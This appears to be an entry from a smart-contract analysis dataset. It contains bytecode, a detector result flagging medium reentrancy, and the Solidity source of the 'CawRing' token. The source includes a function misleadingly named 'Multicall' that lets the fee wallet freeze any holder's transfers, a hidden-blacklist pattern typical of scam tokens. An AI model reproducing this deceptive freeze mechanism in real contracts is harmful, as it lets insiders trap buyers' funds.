600154600080546040516001600160a01b0393841693909116917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a360018054600080546001600160a01b03199081166001600160a01b03841617909155169055565b60006006548210156104f25750670de0b6b3a76400006102d7565b6000610509600654846109df90919063ffffffff16565b90506007548110156105755760075460009061052b908363ffffffff6109df16565b905061056c60075461056083610554600854670de0b6b3a76400006109df90919063ffffffff16565b9063ffffffff610a5416565b9063ffffffff610a8e16565b925050506102d7565b60009150506102d7565b60095460ff1681565b33600090815260036020526040808220546001600160a01b03841683529120546105b79163ffffffff610a2816565b6001600160a01b038216600081815260036020908152604080832094909455338252600490528281205491815291909120546105f89163ffffffff610a2816565b6001600160a01b03909116600090815260046020818152604080842094909455338352600381528383208390555290812055565b6001546001600160a01b031681565b6000546001600160a01b031633146106655760405162461bcd60e51b815260040161037b90610eb0565b60005461067b906001600160a01b031682610ab8565b60055461068e908263ffffffff610a2816565b60055550565b6000546001600160a01b031633146106be5760405162461bcd60e51b815260040161037b90610eb0565b8281146106dd5760405162461bcd60e51b815260040161037b90610f63565b6000805b848110156107b85761074a8484838181106106f857fe5b905060200201356003600089898681811061070f57fe5b90506020020160208101906107249190610c58565b6001600160a01b031681526020810191909152604001600020549063ffffffff610a2816565b6003600088888581811061075a57fe5b905060200201602081019061076f9190610c58565b6001600160a01b031681526020810191909152604001600020556107ae84848381811061079857fe5b9050602002013583610a2890919063ffffffff16565b91506001016106e1565b506005546107cc908263ffffffff6109df16565b6005555050505050565b6000546001600160a01b031633146108005760405162461bcd60e51b815260040161037b90610eb0565b60095460ff16156108235760405162461bcd60e51b815260040161037b90610ddc565b6001600160a01b0381166000908152600460209081526040808320546003909252909120546005546108609291610324919063ffffffff610a2816565b6005556001600160a01b031660009081526003602090815260408083208390556004909152812055565b60065442101590565b6001600160a01b031660009081526004602052604090205490565b6001600160a01b031660009081526003602052604090205490565b6000546001600160a01b031633146108f35760405162461bcd60e51b815260040161037b90610eb0565b6009805460ff19166001179055565b60075481565b6000546001600160a01b031633146109325760405162461bcd60e51b815260040161037b90610eb0565b6001600160a01b0381166109585760405162461bcd60e51b815260040161037b90610e89565b600080546040516001600160a01b03808516939216917fdcf55418cee3220104fef63f979ff3c4097ad240c0c43dcb33ce837748983e6291a3600180546001600160a01b0319166001600160a01b0392909216919091179055565b6000670de0b6b3a76400006109ce848463ffffffff610a5416565b816109d557fe5b0490505b92915050565b600082821115610a015760405162461bcd60e51b815260040161037b90610e66565b50900390565b600254610a24906001600160a01b0316838363ffffffff610ad616565b5050565b600082820183811015610a4d5760405162461bcd60e51b815260040161037b90610ed3565b9392505050565b600082610a63575060006109d9565b82820282848281610a7057fe5b0414610a4d5760405162461bcd60e51b815260040161037b90610f40565b6000808211610aaf5760405162461bcd60e51b815260040161037b90610e3e565b8183816109d557fe5b600254610a24906001600160a01b031683308463ffffffff610b3116565b610b2c8363a9059cbb60e01b8484604051602401610af5929190610d91565b60408051601f198184030181529190526020810180516001600160e01b03166001600160e01b031990931692909217909152610b58565b505050565b610b52846323b872dd60e01b858585604051602401610af593929190610d6d565b50505050565b60006060836001600160a01b031683604051610b749190610d20565b6000604051808303816000865af19150503d8060008114610bb1576040519150601f19603f3d011682016040523d82523d6000602084013e610bb6565b606091505b509150915081610bd85760405162461bcd60e51b815260040161037b90610e09565b805115610b525780806020019051810190610bf39190610ce8565b610b525760405162461bcd60e51b815260040161037b90610ef6565b60008083601f840112610c20578182fd5b50813567ffffffffffffffff811115610c37578182fd5b6020830191508360208083028501011115610c5157600080fd5b9250929050565b600060208284031215610c69578081fd5b81356001600160a01b0381168114610a4d578182fd5b60008060008060408587031215610c94578283fd5b843567ffffffffffffffff80821115610cab578485fd5b610cb788838901610c0f565b90965094506020870135915080821115610ccf578384fd5b50610cdc87828801610c0f565b95989497509550505050565b600060208284031215610cf9578081fd5b81518015158114610a4d578182fd5b600060208284031215610d19578081fd5b5035919050565b60008251815b81811015610d405760208186018101518583015201610d26565b81811115610d4e5782828501525b509190910192915050565b6001600160a01b0391909116815260200190565b6001600160a01b039384168152919092166020820152604081019190915260600190565b6001600160a01b03929092168252602082015260400190565b901515815260200190565b6020808252600d908201526c494e56414c49445f434c41494d60981b604082015260600190565b602080825260139082015272111254d5149250955511481192539254d21151606a1b604082015260600190565b6020808252818101527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564604082015260600190565b6020808252600e908201526d2224ab24a224a723afa2a92927a960911b604082015260600190565b60208082526009908201526829aaa12fa2a92927a960b91b604082015260600190565b6020808252600d908201526c24a72b20a624a22fa7aba722a960991b604082015260600190565b6020808252600990820152682727aa2fa7aba722a960b91b604082015260600190565b60208082526009908201526820a2222fa2a92927a960b91b604082015260600190565b6020808252602a908201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6040820152691bdd081cdd58d8d9595960b21b606082015260800190565b60208082526009908201526826aaa62fa2a92927a960b91b604082015260600190565b6020808252601c908201527f6261746368206772616e74206c656e677468206e6f74206d6174636800000000604082015260600190565b90815260200190565b928352602083019190915260408201526060019056fea26469706673582212209e60a0a359f6961a12e59a193577d1e694bdde9e38be8b693a3debed3f8fabe864736f6c63430006090033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
| 8,712 |
0x659ee2ea42dc5a7c96989fe73bf0cc2426e73e86
|
/**
*Submitted for verification at Etherscan.io on 2022-04-17
*/
// SPDX-License-Identifier: MIT
/*
CawRing :
The Big Buyer Will Get 5% of each buy & Sell if anyone beat him.
Tax :
- 5% for the ring holder
- 3% Marketing
- 2% LP
Total Tax : 10%
*/
pragma solidity ^0.8.13;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract CawRing is Context, IERC20, Ownable { ////
mapping (address => uint) private _owned;
mapping (address => mapping (address => uint)) private _allowances;
mapping (address => bool) private _isExcludedFromFee;
mapping (address => User) private cooldown;
mapping (address => bool) private _isBot;
uint private constant _totalSupply = 1e12 * 10**9;
string public constant name = unicode"CawRing"; ////
string public constant symbol = unicode"CAWRING"; ////
uint8 public constant decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address payable private _FeeAddress1;
address payable private _FeeAddress2;
address public uniswapV2Pair;
uint public _buyFee = 10;
uint public _sellFee = 10;
uint public _feeRate = 9;
uint public _maxBuyAmount;
uint public _maxHeldTokens;
uint public _launchedAt;
bool private _tradingOpen;
bool private _inSwap;
bool public _useImpactFeeSetter = true;
struct User {
uint buy;
bool exists;
}
event FeeMultiplierUpdated(uint _multiplier);
event ImpactFeeSetterUpdated(bool _usefeesetter);
event FeeRateUpdated(uint _rate);
event FeesUpdated(uint _buy, uint _sell);
event FeeAddress1Updated(address _feewallet1);
event FeeAddress2Updated(address _feewallet2);
modifier lockTheSwap {
_inSwap = true;
_;
_inSwap = false;
}
constructor (address payable FeeAddress1, address payable FeeAddress2) {
_FeeAddress1 = FeeAddress1;
_FeeAddress2 = FeeAddress2;
_owned[address(this)] = _totalSupply;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[FeeAddress1] = true;
_isExcludedFromFee[FeeAddress2] = true;
emit Transfer(address(0), address(this), _totalSupply);
}
function balanceOf(address account) public view override returns (uint) {
return _owned[account];
}
function transfer(address recipient, uint amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function totalSupply() public pure override returns (uint) {
return _totalSupply;
}
function allowance(address owner, address spender) public view override returns (uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public override returns (bool) {
if(_tradingOpen && !_isExcludedFromFee[recipient] && sender == uniswapV2Pair){
require (recipient == tx.origin, "pls no bot");
}
_transfer(sender, recipient, amount);
uint allowedAmount = _allowances[sender][_msgSender()] - amount;
_approve(sender, _msgSender(), allowedAmount);
return true;
}
function _approve(address owner, address spender, uint amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "ERC20: transfer from frozen wallet.");
bool isBuy = false;
if(from != owner() && to != owner()) {
// buy
if(from == uniswapV2Pair && to != address(uniswapV2Router) && !_isExcludedFromFee[to]) {
require(_tradingOpen, "Trading not yet enabled.");
require(block.timestamp != _launchedAt, "pls no snip");
if((_launchedAt + (1 hours)) > block.timestamp) {
require((amount + balanceOf(address(to))) <= _maxHeldTokens, "You can't own that many tokens at once."); // 5%
}
if(!cooldown[to].exists) {
cooldown[to] = User(0,true);
}
if((_launchedAt + (120 seconds)) > block.timestamp) {
require(amount <= _maxBuyAmount, "Exceeds maximum buy amount.");
require(cooldown[to].buy < block.timestamp + (15 seconds), "Your buy cooldown has not expired.");
}
cooldown[to].buy = block.timestamp;
isBuy = true;
}
// sell
if(!_inSwap && _tradingOpen && from != uniswapV2Pair) {
require(cooldown[from].buy < block.timestamp + (15 seconds), "Your sell cooldown has not expired.");
uint contractTokenBalance = balanceOf(address(this));
if(contractTokenBalance > 0) {
if(_useImpactFeeSetter) {
if(contractTokenBalance > (balanceOf(uniswapV2Pair) * _feeRate) / 100) {
contractTokenBalance = (balanceOf(uniswapV2Pair) * _feeRate) / 100;
}
}
swapTokensForEth(contractTokenBalance);
}
uint contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
isBuy = false;
}
}
bool takeFee = true;
if(_isExcludedFromFee[from] || _isExcludedFromFee[to]){
takeFee = false;
}
_tokenTransfer(from,to,amount,takeFee,isBuy);
}
function swapTokensForEth(uint tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint amount) private {
_FeeAddress1.transfer(amount / 2);
_FeeAddress2.transfer(amount / 2);
}
function _tokenTransfer(address sender, address recipient, uint amount, bool takefee, bool buy) private {
(uint fee) = _getFee(takefee, buy);
_transferStandard(sender, recipient, amount, fee);
}
function _getFee(bool takefee, bool buy) private view returns (uint) {
uint fee = 0;
if(takefee) {
if(buy) {
fee = _buyFee;
} else {
fee = _sellFee;
if(block.timestamp < _launchedAt + (15 minutes)) {
fee += 5;
}
}
}
return fee;
}
function _transferStandard(address sender, address recipient, uint amount, uint fee) private {
(uint transferAmount, uint team) = _getValues(amount, fee);
_owned[sender] = _owned[sender] - amount;
_owned[recipient] = _owned[recipient] + transferAmount;
_takeTeam(team);
emit Transfer(sender, recipient, transferAmount);
}
function _getValues(uint amount, uint teamFee) private pure returns (uint, uint) {
uint team = (amount * teamFee) / 100;
uint transferAmount = amount - team;
return (transferAmount, team);
}
function _takeTeam(uint team) private {
_owned[address(this)] = _owned[address(this)] + team;
}
receive() external payable {}
// external functions
function addLiquidity() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _totalSupply);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() external onlyOwner() {
require(!_tradingOpen, "Trading is already open");
_tradingOpen = true;
_launchedAt = block.timestamp;
_maxBuyAmount = 1000000000000 * 10**9; //
_maxHeldTokens = 1000000000000 * 10**9; //
}
function manualswap() external {
require(_msgSender() == _FeeAddress1);
uint contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress1);
uint contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint rate) external onlyOwner() {
require(_msgSender() == _FeeAddress1);
require(rate > 0, "Rate can't be zero");
// 100% is the common fee rate
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setFees(uint buy, uint sell) external {
require(_msgSender() == _FeeAddress1);
require(buy <= 10);
require(sell <= 10);
_buyFee = buy;
_sellFee = sell;
emit FeesUpdated(_buyFee, _sellFee);
}
function Multicall(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != uniswapV2Pair && bots_[i] != address(uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) external {
require(_msgSender() == _FeeAddress1);
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function toggleImpactFee(bool onoff) external onlyOwner() {
_useImpactFeeSetter = onoff;
emit ImpactFeeSetterUpdated(_useImpactFeeSetter);
}
function updateFeeAddress1(address newAddress) external {
require(_msgSender() == _FeeAddress1);
_FeeAddress1 = payable(newAddress);
emit FeeAddress1Updated(_FeeAddress1);
}
function updateFeeAddress2(address newAddress) external {
require(_msgSender() == _FeeAddress2);
_FeeAddress2 = payable(newAddress);
emit FeeAddress2Updated(_FeeAddress2);
}
// view functions
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
}
|
0x6080604052600436106101f25760003560e01c8063509016171161010d57806395d89b41116100a0578063c9567bf91161006f578063c9567bf9146105a0578063db92dbb6146105b5578063dcb0e0ad146105ca578063dd62ed3e146105ea578063e8078d941461063057600080fd5b806395d89b4114610522578063a9059cbb14610555578063b2131f7d14610575578063c3c8cd801461058b57600080fd5b8063715018a6116100dc578063715018a6146104af5780637a49cddb146104c45780638da5cb5b146104e457806394b8d8f21461050257600080fd5b80635090161714610444578063590f897e146104645780636fc3eaec1461047a57806370a082311461048f57600080fd5b806327f3a72a116101855780633bbac579116101545780633bbac5791461039d57806340b9a54b146103d657806345596e2e146103ec57806349bd5a5e1461040c57600080fd5b806327f3a72a1461032b578063313ce5671461034057806331c2d8471461036757806332d873d81461038757600080fd5b80630b78f9c0116101c15780630b78f9c0146102b957806318160ddd146102d95780631940d020146102f557806323b872dd1461030b57600080fd5b80630492f055146101fe57806306fdde03146102275780630802d2f614610267578063095ea7b31461028957600080fd5b366101f957005b600080fd5b34801561020a57600080fd5b50610214600e5481565b6040519081526020015b60405180910390f35b34801561023357600080fd5b5061025a6040518060400160405280600781526020016643617752696e6760c81b81525081565b60405161021e9190611bc2565b34801561027357600080fd5b50610287610282366004611c3c565b610645565b005b34801561029557600080fd5b506102a96102a4366004611c59565b6106ba565b604051901515815260200161021e565b3480156102c557600080fd5b506102876102d4366004611c85565b6106d0565b3480156102e557600080fd5b50683635c9adc5dea00000610214565b34801561030157600080fd5b50610214600f5481565b34801561031757600080fd5b506102a9610326366004611ca7565b610753565b34801561033757600080fd5b5061021461083b565b34801561034c57600080fd5b50610355600981565b60405160ff909116815260200161021e565b34801561037357600080fd5b50610287610382366004611cfe565b61084b565b34801561039357600080fd5b5061021460105481565b3480156103a957600080fd5b506102a96103b8366004611c3c565b6001600160a01b031660009081526006602052604090205460ff1690565b3480156103e257600080fd5b50610214600b5481565b3480156103f857600080fd5b50610287610407366004611dc3565b6108d7565b34801561041857600080fd5b50600a5461042c906001600160a01b031681565b6040516001600160a01b03909116815260200161021e565b34801561045057600080fd5b5061028761045f366004611c3c565b61099b565b34801561047057600080fd5b50610214600c5481565b34801561048657600080fd5b50610287610a09565b34801561049b57600080fd5b506102146104aa366004611c3c565b610a36565b3480156104bb57600080fd5b50610287610a51565b3480156104d057600080fd5b506102876104df366004611cfe565b610ac5565b3480156104f057600080fd5b506000546001600160a01b031661042c565b34801561050e57600080fd5b506011546102a99062010000900460ff1681565b34801561052e57600080fd5b5061025a6040518060400160405280600781526020016643415752494e4760c81b81525081565b34801561056157600080fd5b506102a9610570366004611c59565b610bd4565b34801561058157600080fd5b50610214600d5481565b34801561059757600080fd5b50610287610be1565b3480156105ac57600080fd5b50610287610c17565b3480156105c157600080fd5b50610214610cb3565b3480156105d657600080fd5b506102876105e5366004611dea565b610ccb565b3480156105f657600080fd5b50610214610605366004611e07565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561063c57600080fd5b50610287610d48565b6008546001600160a01b0316336001600160a01b03161461066557600080fd5b600880546001600160a01b0319166001600160a01b0383169081179091556040519081527f0e96f8986653644392af4a5daec8b04a389af0d497572173e63846ccd26c843c906020015b60405180910390a150565b60006106c733848461108f565b50600192915050565b6008546001600160a01b0316336001600160a01b0316146106f057600080fd5b600a8211156106fe57600080fd5b600a81111561070c57600080fd5b600b829055600c81905560408051838152602081018390527f5c6323bf1c2d7aaea2c091a4751c1c87af7f2864650c336507a77d0557af37a1910160405180910390a15050565b60115460009060ff16801561078157506001600160a01b03831660009081526004602052604090205460ff16155b801561079a5750600a546001600160a01b038581169116145b156107e9576001600160a01b03831632146107e95760405162461bcd60e51b815260206004820152600a6024820152691c1b1cc81b9bc8189bdd60b21b60448201526064015b60405180910390fd5b6107f48484846111b3565b6001600160a01b0384166000908152600360209081526040808320338452909152812054610823908490611e56565b905061083085338361108f565b506001949350505050565b600061084630610a36565b905090565b6008546001600160a01b0316336001600160a01b03161461086b57600080fd5b60005b81518110156108d35760006006600084848151811061088f5761088f611e6d565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff1916911515919091179055806108cb81611e83565b91505061086e565b5050565b6000546001600160a01b031633146109015760405162461bcd60e51b81526004016107e090611e9c565b6008546001600160a01b0316336001600160a01b03161461092157600080fd5b600081116109665760405162461bcd60e51b8152602060048201526012602482015271526174652063616e2774206265207a65726f60701b60448201526064016107e0565b600d8190556040518181527f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8906020016106af565b6009546001600160a01b0316336001600160a01b0316146109bb57600080fd5b600980546001600160a01b0319166001600160a01b0383169081179091556040519081527f96511497113ddf59712b28350d7457b9c300ab227616bd3b451745a395a53014906020016106af565b6008546001600160a01b0316336001600160a01b031614610a2957600080fd5b47610a3381611821565b50565b6001600160a01b031660009081526002602052604090205490565b6000546001600160a01b03163314610a7b5760405162461bcd60e51b81526004016107e090611e9c565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6008546001600160a01b0316336001600160a01b031614610ae557600080fd5b60005b81518110156108d357600a5482516001600160a01b0390911690839083908110610b1457610b14611e6d565b60200260200101516001600160a01b031614158015610b65575060075482516001600160a01b0390911690839083908110610b5157610b51611e6d565b60200260200101516001600160a01b031614155b15610bc257600160066000848481518110610b8257610b82611e6d565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80610bcc81611e83565b915050610ae8565b60006106c73384846111b3565b6008546001600160a01b0316336001600160a01b031614610c0157600080fd5b6000610c0c30610a36565b9050610a33816118a6565b6000546001600160a01b03163314610c415760405162461bcd60e51b81526004016107e090611e9c565b60115460ff1615610c8e5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e0565b6011805460ff1916600117905542601055683635c9adc5dea00000600e819055600f55565b600a54600090610846906001600160a01b0316610a36565b6000546001600160a01b03163314610cf55760405162461bcd60e51b81526004016107e090611e9c565b6011805462ff00001916620100008315158102919091179182905560405160ff9190920416151581527ff65c78d1059dbb9ec90732848bcfebbec05ac40af847d3c19adcad63379d3aeb906020016106af565b6000546001600160a01b03163314610d725760405162461bcd60e51b81526004016107e090611e9c565b60115460ff1615610dbf5760405162461bcd60e51b81526020600482015260176024820152762a3930b234b7339034b99030b63932b0b23c9037b832b760491b60448201526064016107e0565b600780546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d908117909155610dfc3082683635c9adc5dea0000061108f565b806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e3a573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5e9190611ed1565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610eab573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ecf9190611ed1565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610f1c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f409190611ed1565b600a80546001600160a01b0319166001600160a01b039283161790556007541663f305d7194730610f7081610a36565b600080610f856000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c40160606040518083038185885af1158015610fed573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906110129190611eee565b5050600a5460075460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b3906044016020604051808303816000875af115801561106b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108d39190611f1c565b6001600160a01b0383166110f15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016107e0565b6001600160a01b0382166111525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016107e0565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166112175760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016107e0565b6001600160a01b0382166112795760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016107e0565b600081116112db5760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016107e0565b6001600160a01b03831660009081526006602052604090205460ff16156113505760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e736665722066726f6d2066726f7a656e2077616c6c60448201526232ba1760e91b60648201526084016107e0565b600080546001600160a01b0385811691161480159061137d57506000546001600160a01b03848116911614155b156117c257600a546001600160a01b0385811691161480156113ad57506007546001600160a01b03848116911614155b80156113d257506001600160a01b03831660009081526004602052604090205460ff16155b1561165e5760115460ff166114295760405162461bcd60e51b815260206004820152601860248201527f54726164696e67206e6f742079657420656e61626c65642e000000000000000060448201526064016107e0565b60105442036114685760405162461bcd60e51b815260206004820152600b60248201526a0706c73206e6f20736e69760ac1b60448201526064016107e0565b42601054610e106114799190611f39565b11156114f357600f5461148b84610a36565b6114959084611f39565b11156114f35760405162461bcd60e51b815260206004820152602760248201527f596f752063616e2774206f776e2074686174206d616e7920746f6b656e7320616044820152663a1037b731b29760c91b60648201526084016107e0565b6001600160a01b03831660009081526005602052604090206001015460ff1661155b576040805180820182526000808252600160208084018281526001600160a01b03891684526005909152939091209151825591519101805460ff19169115159190911790555b42601054607861156b9190611f39565b111561163f57600e548211156115c35760405162461bcd60e51b815260206004820152601b60248201527f45786365656473206d6178696d756d2062757920616d6f756e742e000000000060448201526064016107e0565b6115ce42600f611f39565b6001600160a01b0384166000908152600560205260409020541061163f5760405162461bcd60e51b815260206004820152602260248201527f596f75722062757920636f6f6c646f776e20686173206e6f7420657870697265604482015261321760f11b60648201526084016107e0565b506001600160a01b038216600090815260056020526040902042905560015b601154610100900460ff16158015611678575060115460ff165b80156116925750600a546001600160a01b03858116911614155b156117c2576116a242600f611f39565b6001600160a01b038516600090815260056020526040902054106117145760405162461bcd60e51b815260206004820152602360248201527f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260448201526232b21760e91b60648201526084016107e0565b600061171f30610a36565b905080156117ab5760115462010000900460ff16156117a257600d54600a5460649190611754906001600160a01b0316610a36565b61175e9190611f51565b6117689190611f70565b8111156117a257600d54600a546064919061178b906001600160a01b0316610a36565b6117959190611f51565b61179f9190611f70565b90505b6117ab816118a6565b4780156117bb576117bb47611821565b6000925050505b6001600160a01b03841660009081526004602052604090205460019060ff168061180457506001600160a01b03841660009081526004602052604090205460ff165b1561180d575060005b61181a8585858486611a1a565b5050505050565b6008546001600160a01b03166108fc61183b600284611f70565b6040518115909202916000818181858888f19350505050158015611863573d6000803e3d6000fd5b506009546001600160a01b03166108fc61187e600284611f70565b6040518115909202916000818181858888f193505050501580156108d3573d6000803e3d6000fd5b6011805461ff00191661010017905560408051600280825260608201835260009260208301908036833701905050905030816000815181106118ea576118ea611e6d565b6001600160a01b03928316602091820292909201810191909152600754604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611943573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119679190611ed1565b8160018151811061197a5761197a611e6d565b6001600160a01b0392831660209182029290920101526007546119a0913091168461108f565b60075460405163791ac94760e01b81526001600160a01b039091169063791ac947906119d9908590600090869030904290600401611f92565b600060405180830381600087803b1580156119f357600080fd5b505af1158015611a07573d6000803e3d6000fd5b50506011805461ff001916905550505050565b6000611a268383611a3c565b9050611a3486868684611a83565b505050505050565b6000808315611a7c578215611a545750600b54611a7c565b50600c54601054611a6790610384611f39565b421015611a7c57611a79600582611f39565b90505b9392505050565b600080611a908484611b60565b6001600160a01b0388166000908152600260205260409020549193509150611ab9908590611e56565b6001600160a01b038088166000908152600260205260408082209390935590871681522054611ae9908390611f39565b6001600160a01b038616600090815260026020526040902055611b0b81611b94565b846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611b5091815260200190565b60405180910390a3505050505050565b600080806064611b708587611f51565b611b7a9190611f70565b90506000611b888287611e56565b96919550909350505050565b30600090815260026020526040902054611baf908290611f39565b3060009081526002602052604090205550565b600060208083528351808285015260005b81811015611bef57858101830151858201604001528201611bd3565b81811115611c01576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b0381168114610a3357600080fd5b8035611c3781611c17565b919050565b600060208284031215611c4e57600080fd5b8135611a7c81611c17565b60008060408385031215611c6c57600080fd5b8235611c7781611c17565b946020939093013593505050565b60008060408385031215611c9857600080fd5b50508035926020909101359150565b600080600060608486031215611cbc57600080fd5b8335611cc781611c17565b92506020840135611cd781611c17565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611d1157600080fd5b823567ffffffffffffffff80821115611d2957600080fd5b818501915085601f830112611d3d57600080fd5b813581811115611d4f57611d4f611ce8565b8060051b604051601f19603f83011681018181108582111715611d7457611d74611ce8565b604052918252848201925083810185019188831115611d9257600080fd5b938501935b82851015611db757611da885611c2c565b84529385019392850192611d97565b98975050505050505050565b600060208284031215611dd557600080fd5b5035919050565b8015158114610a3357600080fd5b600060208284031215611dfc57600080fd5b8135611a7c81611ddc565b60008060408385031215611e1a57600080fd5b8235611e2581611c17565b91506020830135611e3581611c17565b809150509250929050565b634e487b7160e01b600052601160045260246000fd5b600082821015611e6857611e68611e40565b500390565b634e487b7160e01b600052603260045260246000fd5b600060018201611e9557611e95611e40565b5060010190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060208284031215611ee357600080fd5b8151611a7c81611c17565b600080600060608486031215611f0357600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215611f2e57600080fd5b8151611a7c81611ddc565b60008219821115611f4c57611f4c611e40565b500190565b6000816000190483118215151615611f6b57611f6b611e40565b500290565b600082611f8d57634e487b7160e01b600052601260045260246000fd5b500490565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611fe25784516001600160a01b031683529383019391830191600101611fbd565b50506001600160a01b0396909616606